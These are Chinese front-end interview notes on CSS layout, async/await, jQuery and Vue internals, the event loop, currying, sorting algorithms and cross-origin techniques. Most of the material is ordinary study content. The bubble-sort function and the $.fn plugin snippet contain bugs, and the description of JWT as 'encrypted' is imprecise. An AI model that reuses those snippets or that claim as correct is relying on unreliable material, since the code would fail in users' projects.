    flex-flow属性是flex-direction属性和flex-wrap属性的简写形式,默认值为row nowrap。
  • justify-content: flex-start | flex-end | center | space-between | space-around
    justify-content属性定义了项目在主轴上的对齐方式。
  • align-items: flex-start | flex-end | center | baseline | stretch(默认值,如果不设置高度或为auto将占满交叉轴)
    align-items属性定义项目在交叉轴上如何对齐。
  • align-content: flex-start | flex-end | center | space-between | space-around | stretch(默认值)
    align-content属性定义了多根轴线的对齐方式。如果项目只有一根轴线,该属性不起作用。

项目

  • order
    order属性定义项目的排列顺序。数值越小,排列越靠前,默认为0。
  • flex-grow
    flex-grow属性定义项目的放大比例,默认为0,即如果存在剩余空间,也不放大。
  • flex-shrink
    flex-shrink属性定义了项目的缩小比例,默认为1,即如果空间不足,该项目将缩小。
  • flex-basis
    它的默认值为auto,即项目的本来大小。
  • flex
    flex属性是flex-grow, flex-shrink 和 flex-basis的简写,默认值为0 1 auto。后两个属性可选。
  • align-self
    align-self属性允许单个项目有与其他项目不一样的对齐方式,可覆盖align-items属性。默认值为auto,表示继承父元素的align-items属性,如果没有父元素,则等同于stretch。

async await

async/await的基础用法

一、async关键字

1)表明程序里面可能有异步过程: async关键字表明程序里面可能有异步过程,里面可以有await关键字;当然全部是同步代码也没关系,但是这样async关键字就显得多余了;

2)非阻塞: async函数里面如果有异步过程会等待,但是async函数本身会马上返回,不会阻塞当前线程,可以简单认为,async函数工作在主线程,同步执行,不会阻塞界面渲染,async函数内部由await关键字修饰的异步过程,工作在相应的协程上,会阻塞等待异步任务的完成再返回;

3)async函数返回类型为Promise对象: 这是和普通函数本质上不同的地方,也是使用时重点注意的地方;
(1)return new Promise();这个符合async函数本意;
(2)return data;这个是同步函数的写法,这里是要特别注意的,这个时候,其实就相当于Promise.resolve(data);还是一个Promise对象,但是在调用async函数的地方通过简单的=是拿不到这个data的,因为返回值是一个Promise对象,所以需要用.then(data => { })函数才可以拿到这个data;
(3)如果没有返回值,相当于返回了Promise.resolve(undefined);

**4)无等待:**联想到Promise的特点,在没有await的情况下执行async函数,它会立即执行,返回一个Promise对象,并且绝对不会阻塞后面的语句,这和普通返回Promise对象的函数并无二致;

5)await不处理异步error: await是不管异步过程的reject(error)消息的,async函数返回的这个Promise对象的catch函数负责统一抓取内部所有异步过程的错误;async函数内部只要有一个异步过程发生错误,整个执行过程就中断,这个返回的Promise对象的catch就能抓取到这个错误;

5)async函数的执行: async函数执行和普通函数一样,函数名带个()就可以了,参数个数随意,没有限制,也需要有async关键字;只是返回值是一个Promise对象,可以用then函数得到返回值,用catch抓整个流程中发生的错误;

二、await关键字

**1)await只能在async函数内部使用:**不能放在普通函数里面,否则会报错;

**2)await关键字后面跟Promise对象:**在Pending状态时,相应的协程会交出控制权,进入等待状态,这是协程的本质;

3)await是async wait的意思: wait的是resolve(data)的消息,并把数据data返回,比如下面代码中,当Promise对象由Pending变为Resolved的时候,变量a就等于data,然后再顺序执行下面的语句console.log(a),这真的是等待,真的是顺序执行,表现和同步代码几乎一模一样;

const a = await new Promise((resolve, reject) => {
    // async process ...
    return resolve(data);
});
console.log(a);

4)await后面也可以跟同步代码: 不过系统会自动将其转化成一个Promsie对象,比如:

const a = await 'hello world'
// 相当于
const a = await Promise.resolve('hello world');
// 跟同步代码是一样的,还不如省事点,直接去掉await关键字
const a = 'hello world';

5)await对于失败消息的处理: await只关心异步过程成功的消息resolve(data),拿到相应的数据data,至于失败消息reject(error),不关心不处理;对于错误的处理有以下几种方法供选择:
(1)让await后面的Promise对象自己catch;
(2)也可以让外面的async函数返回的Promise对象统一catch;
(3)像同步代码一样,放在一个try...catch结构中;

6)await对于结果的处理: await是个运算符,用于组成表达式,await表达式的运算结果取决于它等的东西,如果它等到的不是一个Promise对象,那么await表达式的运算结果就是它等到的东西;如果它等到的是一个Promise对象,await就忙起来了,它会阻塞其后面的代码,等着Promise对象resolve,然后得到resolve的值,作为await表达式的运算结果;虽然是阻塞,但async函数调用并不会造成阻塞,它内部所有的阻塞都被封装在一个Promise对象中异步执行,这也正是await必须用在async函数中的原因;

jquery、zepto的原型和插件机制

ES6实现

class jQuery {
    constructor(seletor) {
        let slice = Array.prototype.slice
        let dom = slice.call(document.querySelectorAll(seletor))
        let len = dom ? dom.length : 0
        for (let i = 0; i < len; i++) {
            this[i] = dom[i]
        }
        this.length = len
        this.seletor = seletor || ''
    }
    append(node) {

    }
    addClass(name) {

    }
    html(data) {

    }
    // ...
}
window.$ = function (seletor) {
    // 工厂模式
    return new jQuery(seletor)
}

jquery 如何使用原型

(function (window) {
  var jQuery = function (selector) {
    return new jQuery.fn.init(selector)
  }

  jQuery.fn = {
    css: function (key, value) {
      console.log('css')
    },
    html: function (value) {
      console.log('html')
    }
  }

  // 构造函数
  var init = jQuery.fn.init = function (selector) {
    var slice = Array.prototype.slice
    var dom = slice.call(document.querySelectorAll(selector))

    var i, len = dom ? dom.length : 0
    for (i = 0; i < len; i++) {
      this[i] = dom[i]
    }
    this.length = len
    this.selector = selector || ''
  }
  // 构造函数原型
  init.prototype = jQuery.fn
  window.$ = jQuery
})(window)

zepto 如何使用原型

(function (window) {
  var zepto = {}

  // 构造函数
  function Z(dom, selector) {
    var i, len = dom ? dom.length : 0
    for (i = 0; i < len; i++) {
      this[i] = dom[i]
    }
    this.length = len
    this.selector = selector || ''
  }

  zepto.Z = function (dom, selector) {
    return new Z(dom, selector)
  }

  zepto.init = function (selector) {
    var slice = Array.prototype.slice
    var dom = slice.call(document.querySelectorAll(selector))
    return zepto.Z(dom, selector)
  }

  var $ = function (selector) {
    return zepto.init(selector)
  }

  window.$ = $

  $.fn = {
    css: function (key, value) {
      console.log('css')
    },
    html: function (value) {
      console.log('html')
    }
  }

  Z.prototype = $.fn

})(window)

为什么要把原型方法放在 $.fn ?
因为要扩展插件,例如

$.fn.getNodeName = function () {
  return this.[0].nodeName
}

只有$会暴露在window全局变量
将插件扩展统一到$.fn.xxx这一接口,方便使用

移动端适配方案

概念
英寸
像素
分辨率
屏幕分辨率
图像分辨率
PPI(Pixel Per Inch):每英寸包括的像素数。

物理像素

设备独立像素

  • 打开chrome的开发者工具,我们可以模拟各个手机型号的显示情况,每种型号上面会显示一个尺寸,比如iPhone X显示的尺寸是375x812,实际iPhone X的分辨率会比这高很多,这里显示的就是设备独立像素。
  • 在iOS、Android和React Native开发中样式单位其实都使用的是设备独立像素。

视网膜屏幕(Retina Display)

设备像素比:dpr = 物理像素 / 设备独立像素

CSS像素

  • 在写CSS时,我们用到最多的单位是px,即CSS像素,当页面缩放比例为100%时,一个CSS像素等于一个设备独立像素。
  • 页面的缩放系数 = CSS像素 / 设备独立像素。

视口
布局视口
视觉视口
理想视口

<meta name="viewport" content="width=device-width; initial-scale=1; maximum-scale=1; minimum-scale=1; user-scalable=no;">

1px问题

       .border_1px:before{
          content: '';
          position: absolute;
          top: 0;
          height: 1px;
          width: 100%;
          background-color: #000;
          transform-origin: 50% 0%;
        }
        @media only screen and (-webkit-min-device-pixel-ratio:2){
            .border_1px:before{
                transform: scaleY(0.5);
            }
        }
        @media only screen and (-webkit-min-device-pixel-ratio:3){
            .border_1px:before{
                transform: scaleY(0.33);
            }
        }

参考链接:https://juejin.im/post/5cddf289f265da038f77696c
参考链接:https://juejin.im/post/5e6caf55e51d4526ff026a71

js函数柯里化

维基百科上说道:柯里化是把接受多个参数的函数变换成接受一个单一参数(最初函数的第一个参数)的函数,并且返回接受余下的参数而且返回结果的新函数的技术。概念有点难理解,先看以下例子:

// 普通的add函数
function add(x, y) {
    return x + y;
}
// Currying后
function curryingAdd(x) {
    return function (y) {
        return x + y;
    }
}
add(1, 2)                 // 3
curryingAdd(1)(2)   // 3

函数柯里化的好处?

  1. 参数复用
// 正常正则验证字符串 reg.test(txt)

// 函数封装后
function check(reg, txt) {
    return reg.test(txt)
}
check(/\d+/g, 'test')       //false
check(/[a-z]+/g, 'test')    //true
// Currying后
function curryingCheck(reg) {
    return function(txt) {
        return reg.test(txt)
    }
}
let hasNumber = curryingCheck(/\d+/g)
let hasLetter = curryingCheck(/[a-z]+/g)
hasNumber('test1')      // true
hasNumber('testtest')   // false
hasLetter('21212')      // false
  1. 提前确认
let on = function(element, event, handler) {
    if (document.addEventListener) {
        if (element && event && handler) {
            element.addEventListener(event, handler, false);
        }
    } else {
        if (element && event && handler) {
            element.attachEvent('on' + event, handler);
        }
    }
}
// 函数自执行后返回一个新的函数,也就提前确定了
let on = (function() {
    if (document.addEventListener) {
        return function(element, event, handler) {
            if (element && event && handler) {
                element.addEventListener(event, handler, false);
            }
        };
    } else {
        return function(element, event, handler) {
            if (element && event && handler) {
                element.attachEvent('on' + event, handler);
            }
        };
    }
})();
  1. 延迟运行
Function.prototype.bind = function (context) {
    let _this = this
    let args = Array.prototype.slice.call(arguments, 1)
    return function() {
        return _this.apply(context, args)
    }
}

通用的封装方法

function currying(fn, ...args){
    //fn.length是函数参数的个数
    if(fn.length <= args.length){
        return fn(...args);
    }
    return function(...argsX){
        return currying(fn, ...args, ...argsX);
    }
}
function add(a,b,c){
    return a + b + c;
}
let curryingAdd = currying(add);
curryingAdd(1)(2)(3);

扩展

// 实现一个add方法,使计算结果能够满足如下预期:
add(1)(2)(3) = 6;
add(1, 2, 3)(4) = 10;
add(1)(2)(3)(4)(5) = 15;

function add() {
    // 第一次执行时,定义一个数组专门用来存储所有的参数
    let _args = Array.prototype.slice.call(arguments);
    // 在内部声明一个函数,利用闭包的特性保存_args并收集所有的参数值
    let _adder = function() {
        // 第二次及以上执行,不断返回该函数
        _args.push(...arguments);
        return _adder;
    };
    // 利用toString隐式转换的特性,当最后执行时隐式转换,并计算最终的值返回
    _adder.toString = function () {
        return _args.reduce(function (a, b) {
            return a + b;
        });
    }
    // 第一次执行返回
    return _adder;
}

Proxy

Proxy 是 ES6 中新增的功能,可以用来自定义对象中的操作。

// `target` 代表需要添加代理的对象
// `handler` 用来自定义对象中的操作
let p = new Proxy(target, handler);

可以很方便的使用 Proxy 来实现一个数据绑定和监听。

let onWatch = (obj, setBind, getLogger) => {
  let handler = {
    get(target, property, receiver) {
      getLogger(target, property)
      return Reflect.get(target, property, receiver);
    },
    set(target, property, value, receiver) {
      setBind(value);
      return Reflect.set(target, property, value);
    }
  };
  return new Proxy(obj, handler);
};

let obj = { a: 1 }
let value
let p = onWatch(obj, (v) => {
  value = v
}, (target, property) => {
  console.log(`Get '${property}' = ${target[property]}`);
})
p.a = 2 // bind `value` to `2`
p.a // -> Get 'a' = 2

虚拟DOM

vdom 是什么?

  • virtual dom , 虚拟 DOM
  • 用 JS 模拟 DOM 结构
  • DOM 操作非常“昂贵”
  • 将 DOM 对比操作放在 JS 层,提高效率,提高重绘性能

为何会存在 vdom?

  • DOM 操作是“昂贵”的,js 运行效率高
  • 尽量减少 DOM 操作,而不是“推倒重来”
  • 项目越复杂,影响就越严重
  • vdom 即可解决这个问题

vdom 如何应用的?
snabbdom

使用 data 生成 vnode
第一次渲染,将 vnode 渲染到 #container 中
并将 vnode 缓存下来
修改 data 之后,用新 data 生成 newVnode
将 vnode 和 newVnode 对比

核心 API 是什么?
h函数

var vnode = h('ul#list', {}, [
  h('li.item', {}, 'item 1'),
  h('li.item', {}, 'item 2')
])

patch函数

patch(container, vnode)
patch(vnode, newVnode)

vdom 为何使用 diff 算法?

  • DOM 操作是“昂贵”的,因此尽量减少 DOM 操作
  • 找出本次 DOM 必须更新的节点来更新,其他的不更新
  • 这个“找出”的过程,就需要 diff 算法

介绍一下 diff 算法

  • 知道什么是 diff 算法,是 linux 的基础命令,git diff 命令
  • vdom 中应用 diff 算法是为了找出需要更新的节点
  • 核心逻辑,createElement(render) 和 updateChildren(diff)

参考链接:https://juejin.im/post/5c8e5e4951882545c109ae9c

  • 用JS对象模拟DOM(虚拟DOM)
  • 把此虚拟DOM转成真实DOM并插入页面中(render)
  • 如果有事件发生修改了虚拟DOM,比较两棵虚拟DOM树的差异,得到差异对象(diff)
  • 把差异对象应用到真正的DOM树上(patch)

数据结构与算法

leetcode上自己学习的算法题

leetcode开源算法题

javascript算法题汇总

基础算法

// 插入排序:将元素插入到已排序好的数组中
function insertSort(arr) {
    if (!Array.isArray(arr)) return
    for (let i = 1; i < arr.length; i++) {
        for (let j = i; j > 0; j--) {
            if (arr[j] < arr[j - 1]) {
                [arr[j], arr[j - 1]] = [arr[j - 1], arr[j]]
            } else {
                break
            }
        }
    }
    return arr
}

// 选择排序:遍历自身以后的元素,最小的元素跟自己调换位置
function selectSort(arr) {
    if (!Array.isArray(arr)) return
    for (let i = 0; i < arr.length - 1; i++) {
        for (let j = i + 1; j < arr.length; j++) {
            if (arr[j] < arr[i]) {
                [arr[i], arr[j]] = [arr[j], arr[i]]
            }
        }
    }
    return arr
}

// 冒泡排序:两两比较
function bubleSort(arr) {
    if (!Array.isArray(arr)) return
    for (let i = arr.length - 1; i > 1; i--) {
        for (let j = 0; j < i; j++) {
            if (arr[j] > arr[j++]) {
                arr[arr[j], arr[j + 1]] = [arr[j + 1], arr[j]]
            }
        }
    }
    return arr
}

// 快速排序
function quickSort(arr) {
    if (!Array.isArray(arr)) return
    if (arr.length <= 1) {
        return arr
    }
    let left = [], right = [], current = arr.splice(0, 1)
    for (let i = 0; i < arr.length; i++) {
        if (arr[i] < current) {
            left.push(arr[i])
        } else {
            right.push(arr[i])
        }
    }
    return quickSort(left).concat(current, quickSort(right))
}

数组对象转换成树形结构对象

let data = [
    {parent_id:0,id: 1,value:'1'},
    {parent_id:1,id: 3,value:'3'},
    {parent_id:4,id: 6,value:'6'},
    {parent_id:3,id: 5,value:'5'},
    {parent_id:2,id: 4,value:'4'},
    {parent_id:1,id: 2,value:'2'}
]
function buildTree(array,id,parent_id) {
    // 创建临时对象
    let temp = {};
    // 创建需要返回的树形对象
    let tree = {};
    // 先遍历数组,将数组的每一项添加到temp对象中
    for(let i in array) {
        temp[array[i][id]] = array[i];
    }

    // 遍历temp对象,将当前子节点与父节点建立连接
    for(let i in temp) {
        // 判断是否是根节点下的项
        if(temp[i][parent_id] !== 0) {
             if(!temp[temp[i][parent_id]].children) {
                 temp[temp[i][parent_id]].children = {};
             }
             temp[temp[i][parent_id]].children[i] = temp[i]; // 利用对象的引用关系,只需将当前子节点与父节点建立连接,不需要考虑其他
        }else{
            tree[temp[i][id]] = temp[i];
        }
    }
    return tree;
}
buildTree(data, 'id', 'parent_id');
// 以上算法能实现原理是对象的引用关系

vue核心原理

说一下对 MVVM 的理解

  • 数据和视图的分离,解耦(开放封闭原则)
  • 以数据驱动视图,只关心数据变化,DOM 操作被封装

image

  • Model - 模型、数据
  • View - 视图、模板
  • ViewModel - 连接 Model 和 View

Vue三要素

  • 响应式:vue 如何监听到 data 的每个属性变化?
  • 模板引擎:vue 的模板如何被解析,指令如何处理?
  • 渲染:vue 的模板如何被渲染成 html ?以及渲染过程

vue 中如何实现响应式?
什么是响应式:修改 data 属性之后,vue 立刻监听到,data 属性被代理到 vm 上,vm 驱动视图变化。
实现:Object.defineProperty

let obj = {}
let property = 'zhangsan'
Object.defineProperty( obj, 'property', {
  get: function () {
    console.log( 'get' )
    return property
  },
  set: function (newVal) {
    console.log( 'set' )
    property = newVal
  }
} )

模拟实现

var vm = {}
var data = {
  price: 20,
  name: 'zhangsan'
}
var key, value
for (key in data) {
  (function (key) {
    Object.defineProperty(vm, key, {
      get: function () {
        console.log('get')
        return data[key]
      },
      set: function (newVal) {
        console.log('set')
        data[key] = newVal
      }
    })
  })(key)
}
  • 关键是理解 Object.defineProperty
  • 将 data 的属性代理到 vm 上

vue 中如何解析模板?
模板是什么?

  • 本质:字符串
  • 有逻辑,嵌入 JS 变量,如 v-if v-for ...
  • 中间要转换为 js 代码,最终还要转换为 html 来显示
  • 模板可以提前编译打包生成 js 代码

模板最终必须转换成 JS 代码原因:

  • 有逻辑(v-if v-for),必须用 JS 才能实现
  • 转换为 html 渲染页面,必须用 JS 才能实现

render 函数

<div id="app">
  <p>{{ price }}</p>
</div>

function render() {
  with (this) {
    return _c(
      'div',
      {
        attrs: { 'id': 'app' }
      },
      [
        _c('p', [_v(_s(price))])
      ]
    )
  }
}
  • 模板中所有信息都包含在了 render 函数中
  • this 即 vm
  • price 即 this.price 即 vm.price,即 data 中的 price
  • _c 即 this._c 即 vm._c
  • _c 是 createElement 函数
  • _v 是 createTextVNode 函数
  • _s 是 toString 函数
  • render 函数返回的是vnode

render 函数和 vdom

vm._update = function (vnode) {
  const prevVnode = vm._vnode
  vm._vnode = vnode
  if (!prevVnode) {
    vm.$el = vm.__patch__(vm.$el, vnode)
  } else {
    vm.$el = vm.__patch__(prevVnode, vnode)
  }
}
function updateComponent() {
  // vm._render() 即上面的 render 函数,返回 vnode
  vm._update(vm._render())
}
  • updateComponent 中实现了 vdom 的 patch
  • 页面首次渲染执行 updateComponent
  • data 中每次修改属性,执行 updateComponent

vue 的整个实现流程

  • 第一步:解析模板成 render 函数(打包编译阶段)

with 的用法
模板中的所有信息都被 render 函数包含
模板中用到的 data 中的属性,都变成了 JS 变量
模板中的 v-model v-for v-on 都变成了 JS 逻辑
render 函数返回 vnode

  • 第二步:响应式开始监听

Object.defineProperty
将 data 的属性代理到 vm 上

  • 第三步:首次渲染,显示页面,且绑定依赖

初次渲染,执行 updateComponent,执行 vm._render()
执行 render 函数,会访问到 vm.list、vm.title
会被响应式的 get 方法监听到
执行 updateComponent ,会走到 vdom 的 patch 方法
patch 将 vnode 渲染成 DOM ,初次渲染完成

为何要监听 get ,只监听 set 不行吗?
data 中有很多属性,有些被用到,有些可能不被用到
被用到的会走到 get ,不被用到的不会走到 get
未走到 get 中的属性,set 的时候我们也无需关心
避免不必要的重复渲染

  • 第四步:data 属性变化,触发 rerender

修改属性,被响应式的 set 监听到
set 中执行 updateComponent
updateComponent 重新执行 vm._render()
生成的 vnode 和 prevVnode ,通过 patch 进行对比
渲染到 html 中

说一下对组件化的理解

  • 组件的封装:封装视图、数据、变化逻辑
  • 组件的复用:props 传递、复用

Vue vs React

  • 模板的区别
    模板应该和 JS 逻辑分离
    开放封闭原则

  • 组件化的区别
    React 本身就是组件化,没有组件化就不是 React
    vue 也支持组件化,不过是在 MVVM 上的扩展
    对于组件化,我更加倾向于 React ,做的彻底而清晰

Cookie、Session、Token、JWT之间的区别

Token:服务端验证客户端发送过来的 Token 时,还需要查询数据库获取用户信息,然后验证 Token 是否有效。
JWT: 将 Token 和 Payload 加密后存储于客户端,服务端只需要使用密钥解密进行校验(校验也是 JWT 自己实现的)即可,不需要查询或者减少查询数据库,因为 JWT 自包含了用户信息和加密的数据。

参考链接:https://juejin.im/post/5e055d9ef265da33997a42cc

登录相关:https://juejin.cn/post/6933115003327217671

错误监控(产品质量保证)

前端错误的分类
即时运行错误(代码错误)
资源加载错误

错误的捕获方式

  • 即时运行错误的捕获方式

1、try...catch
2、window.onerror

  • 资源加载错误

1、object.onerror 监听元素的onerror属性
2、performance.getEntries()
3、Error事件捕获(冒泡不行) window.addEventListener('error', function(e){}, true)

  • ajax 请求失败错误监控
    1、使用 axios 的可以通过配置拦截器实现错误的监控
    2、重新封装 XMLHttpRequest/fetch 对象的方法实现对网络请求的监控

  • 跨域的js运行错误可以捕获吗?错误提示什么?应该怎么处理?

可以
script error
1、在script标签增加 crossorigin 属性
2、设置 js 资源响应头 Access-Control-Allow-Origin : *

上报错误的基本方法
1、采用 Ajax 通信的方式上报
2、利用 Image 对象上报(基本都是这种方式上报)
(new Image()).src = "xxx"

参考文章:https://juejin.im/post/5bd2dbc7f265da0af16183f8

class

静态方法
类相当于实例的原型,所有在类中定义的方法,都会被实例继承。如果在一个方法前,加上static关键字,就表示该方法不会被实例继承,而是直接通过类来调用,这就称为“静态方法”。

如果静态方法包含this关键字,这个this指的是类,而不是实例。
父类的静态方法,可以被子类继承。
静态方法也是可以从super对象上调用的。

静态属性
静态属性指的是 Class 本身的属性,即Class.propName,而不是定义在实例对象(this)上的属性。

// 老写法
class Foo {
  // ...
}
Foo.prop = 1;
// 新写法
class Foo {
  static prop = 1;
}

私有方法和私有属性
私有方法和私有属性,是只能在类的内部访问的方法和属性,外部不能访问。这是常见需求,有利于代码的封装,但 ES6 不提供,只能通过变通方法模拟实现。

继承
ES6 要求,子类的构造函数必须执行一次super函数。
第一种情况,super作为函数调用时,代表父类的构造函数。
注意,super虽然代表了父类A的构造函数,但是返回的是子类B的实例,即super内部的this指的是B的实例,因此super()在这里相当于A.prototype.constructor.call(this)。
第二种情况,super作为对象时,在普通方法中,指向父类的原型对象;在静态方法中,指向父类。

类的 prototype 属性和__proto__属性
(1)子类的__proto__属性,表示构造函数的继承,总是指向父类。
(2)子类prototype属性的__proto__属性,表示方法的继承,总是指向父类的prototype属性。

class A {
}
class B extends A {
}
B.__proto__ === A // true
B.prototype.__proto__ === A.prototype // true

js执行机制

我们经常会遇到这样的情况:给定的几行代码,我们需要知道其输出内容和顺序。因此明白javascript的执行机制至关重要。

关于javascript

javascript是一门单线程语言,一切javascript版的"多线程"都是用单线程模拟出来的。

javascript事件循环

javascript是单线程,所以处理javascript任务是一个个的顺序执行。同时javascript任务分为同步任务和异步任务。那同步任务和异步任务是怎么执行的呢?
js执行流程图

  • 同步和异步任务分别进入不同的执行"场所",同步的进入主线程,异步的进入Event Table并注册函数。
  • 当指定的异步任务完成时,Event Table会将这个函数移入Event Queue。
  • 主线程内的任务执行完毕为空时,会去Event Queue读取对应的函数,进入主线程执行。
  • 上述过程会不断重复,也就是Event Loop(事件循环)。

那什么时候主线程执行栈为空?
js引擎存在monitoring process进程,会持续不断的检查主线程执行栈是否为空,一旦为空,就会去Event Queue那里检查是否有等待被调用的函数。

关于setTimeout和setInterval

setTimeout的回调函数超过延时执行的原因,看个例子

setTimeout(() => {
    task();
}, 3000);
sleep(10000000);

上述代码是怎么执行的:

  • task()进入Event Table并注册,计时开始。
  • 执行sleep函数,很慢,计时仍在继续。
  • 3秒到了,计时事件timeout完成,task()进入Event Queue,但是sleep还没执行完,只好等着。
  • sleep终于执行完了,task()终于从Event Queue进入了主线程执行。

关于setTimeout要补充的是,即便主线程为空,0毫秒实际上也是达不到的。根据HTML的标准,最低是4毫秒。

setInterval和setTimeout类似,setInterval会每隔指定的时间将注册的函数置入Event Queue,如果前面的任务耗时太久,那么同样需要等待。对于setInterval(fn,ms)来说,我们已经知道不是每过ms秒会执行一次fn,而是每过ms秒,会有fn进入Event Queue。一旦setInterval的回调函数fn执行时间超过了延迟时间ms,那么就完全看不出来有时间间隔了。

宏任务和微任务

除了广义的同步任务和异步任务,我们对任务有更精细的定义:

  • macro-task(宏任务):包括整体代码script,setTimeout,setInterval
  • micro-task(微任务):Promise,process.nextTick

不同类型的任务会进入对应的Event Queue,比如setTimeout和setInterval会进入相同的Event Queue。

事件循环的顺序:进入整体代码(宏任务)后,开始第一次循环。接着执行所有的微任务。然后再次从宏任务开始,找到其中一个任务队列执行完毕,再执行所有的微任务。

console.log('1');

setTimeout(function() {
    console.log('2');
    process.nextTick(function() {
        console.log('3');
    })
    new Promise(function(resolve) {
        console.log('4');
        resolve();
    }).then(function() {
        console.log('5')
    })
})
process.nextTick(function() {
    console.log('6');
})
new Promise(function(resolve) {
    console.log('7');
    resolve();
}).then(function() {
    console.log('8')
})

setTimeout(function() {
    console.log('9');
    process.nextTick(function() {
        console.log('10');
    })
    new Promise(function(resolve) {
        console.log('11');
        resolve();
    }).then(function() {
        console.log('12')
    })
})

整段代码,共进行了三次事件循环,完整的输出为1,7,6,8,2,4,3,5,9,11,10,12。
如果知道完整的输出,说明你已经掌握了事件循环。

宏任务和微任务的区别

  • 宏任务是每次执行栈执行的代码(包括每次从事件队列中获取一个事件回调并放到执行栈中执行)
  • 浏览器为了能够使得JS引擎线程与GUI渲染线程有序切换,会在当前宏任务结束之后,下一个宏任务执行开始之前,对页面进行重新渲染(宏任务 > 渲染 > 宏任务 > ...)
  • 微任务是在当前宏任务执行结束之后立即执行的任务(在当前 宏任务执行之后,UI渲染之前执行的任务)。微任务的响应速度相比setTimeout(下一个宏任务)会更快,因为无需等待UI渲染。
  • 当前宏任务执行后,会将在它执行期间产生的所有微任务都执行一遍。

根据事件循环机制,重新梳理一下流程:

  • 执行一个宏任务(首次执行的主代码块或者任务队列中的回调函数)
  • 执行过程中如果遇到微任务,就将它添加到微任务的任务队列中
  • 宏任务执行完毕后,立即执行当前微任务队列中的所有任务(依次执行)
  • JS引擎线程挂起,GUI线程执行渲染
  • GUI线程渲染完毕后挂起,JS引擎线程执行任务队列中的下一个宏任务

new实现原理

在调用 new 的过程中会发生以下四件事情:
1、生成一个新对象
2、链接到原型
3、绑定this
4、返回新对象
自己实现一个 new

function create() {
    // 创建一个空的对象
    let obj = new Object()
    // 获得构造函数
    let Con = [].shift.call(arguments)
    // 链接到原型
    obj.__proto__ = Con.prototype
    // 绑定 this,执行构造函数
    let result = Con.apply(obj, arguments)
    // 确保 new 出来的是个对象(构造函数返回对象,则使用构造函数返回的,否则使用新对象)
    return typeof result === 'object' ? result : obj
}
let create2 = function(){
    let Con = [].shift.call(arguments)
    let o = Object.create(Con.prototype);// **此处相当于o.___proto__=Con.prototype**
    let k = Con.apply(o,arguments);
    return typeof k === 'object' ? k : o;
}

测试用例

function Car(color){this.color = color;return this;}
Car.prototype.run = function (){console.log(`${this.color} car run`)}
let car = create(Car, 'red')
car.color;
car.run();

网络通信相关

什么是同源策略及限制
同源策略限制从一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的关键安全机制。
源:包括http协议、域名、端口号。
cookie、localstorage、IndexDB无法读取;DOM无法获得;AJAX请求不能发送。

从输入URL到页面加载发生了什么?
总体来说分为以下几个过程:

  • DNS解析
  • TCP连接
  • 发送HTTP请求
  • 服务器处理请求并返回HTTP报文
  • 浏览器解析渲染页面
  • 连接结束

如何创建Ajax
XMLHttpRequest对象的工作流程
兼容性处理
事件的触发条件
事件的触发顺序

function request(url, method, sucess, fail) {
  let xhr = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP")
  xhr.open(method, url, true)
  xhr.onreadystatechange = function(){
    if(xhr.readyState === 4) {
      if(xhr.status === 200 || xhr.status === 304) {
        if(sucess) sucess( xhr.response )
      }else{
        if(fail) fail()
      }
    }
  }
  xhr.send()
}

跨域通信的几种方式

  • JSONP
    原理:利用script标签的异步加载实现的,script标签不受同源策略的限制。
    实现:全局函数(window[callbackName])、链接带上callback告诉后端、后端返回script脚本执行callback函数

  • Hash
    场景:当前页面 A 通过iframe或frame嵌入了跨域的页面 B

// 在A中伪代码
let B = document.getElementsByTagName('iframe')[0]
B.src = B.src + '#' + data
// 在B中伪代码
window.onhashchange = function () {
  let data = window.location.hash
}
  • postMessage
// 窗口A(http://a.com)向跨域窗口B(http://b.com)发送信息
window.postMessage('data', 'http://b.com')
// 在B窗口中监听
window.addEventListener('message', function( event ){
  console.log(event.data) // data
  console.log(event.source) // Awindow
  console.log(event.origin) // http://a.com
}, false)

参考链接:https://juejin.im/post/5e6c58b06fb9a07ce01a4199

Generator

Generator 是 ES6 中新增的语法,和 Promise 一样,都可以用来异步编程。

// 使用 * 表示这是一个 Generator 函数
// 内部可以通过 yield 暂停代码
// 通过调用 next 恢复执行
function* test() {
  let a = 1 + 2;
  yield 2;
  yield 3;
}
let b = test();
console.log(b.next()); // >  { value: 2, done: false }
console.log(b.next()); // >  { value: 3, done: false }
console.log(b.next()); // >  { value: undefined, done: true }

从以上代码可以发现,加上 * 的函数执行后拥有了 next 函数,也就是说函数执行后返回了一个对象。每次调用 next 函数可以继续执行被暂停的代码。以下是 Generator 函数的简单实现,大体上就是使用由 switch case 组成的状态机模型中, 除此之外,利用闭包技巧,保存生成器函数上下文信息。

// cb 也就是编译过的 test 函数
function generator(cb) {
  return (function() {
    var object = {
      next: 0,
      stop: function() {}
    };

    return {
      next: function() {
        var ret = cb(object);
        if (ret === undefined) return { value: undefined, done: true };
        return {
          value: ret,
          done: false
        };
      }
    };
  })();
}
// 如果你使用 babel 编译后可以发现 test 函数变成了这样
// https://babeljs.io/repl
function test() {
  var a;
  return generator(function(_context) {
    while (1) {
      switch ((_context.prev = _context.next)) {
        // 可以发现通过 yield 将代码分割成几块
        // 每次执行 next 函数就执行一块代码
        // 并且表明下次需要执行哪块代码
        case 0:
          a = 1 + 2;
          _context.next = 4;
          return 2;
        case 4:
          _context.next = 6;
          return 3;
		// 执行完毕
        case 6:
        case "end":
          return _context.stop();
      }
    }
  });
}

三栏布局

所谓三栏布局就是指页面分为左中右三部分然后对中间一部分做自适应的一种布局方式。
1.绝对定位法

<div class="left">Left</div>
<div class="main">Main</div>
<div class="right">Right</div>
.left,.right{
    position: absolute;
    top:0px;
    background: red;
    height:100%;
}
.left{
    left:0;
    width:100px;
}
.right{
    right:0px;
    width:200px;
}
.main{
    margin:0px 200px 0px 100px;
    height:100%;
    background: blue;
}

2.浮动

<div class="left">Left</div>
<div class="right">Right</div>
<div class="main">Main</div>
.left {
    background: red;
    width: 100px;
    float: left;
    height: 100%;
}
.main {
    background: blue;
    height: 100%;
    margin:0px 200px 0px 100px;
}
.right {
    background: red;
    width: 200px;
    float: right;
    height: 100%;
}

3.圣杯布局

<div class="main">Main</div>
<div class="left">Left</div>
<div class="right">Right</div>
body {
    padding-left: 100px;
    padding-right: 200px;
}
.left {
    background: red;
    width: 100px;
    float: left;
    margin-left: -100%;
    position: relative;
    left: -100px;
    height: 100%;
}
.main {
    background: blue;
    width: 100%;
    height: 100%;
    float: left;
}
.right {
    background: red;
    width: 200px;
    height: 100%;
    float: left;
    margin-left: -200px;
    position: relative;
    right: -200px;
}

4.flexbox布局
5.表格布局

display: table;
display: table-cell;

6.网格布局

display: grid;
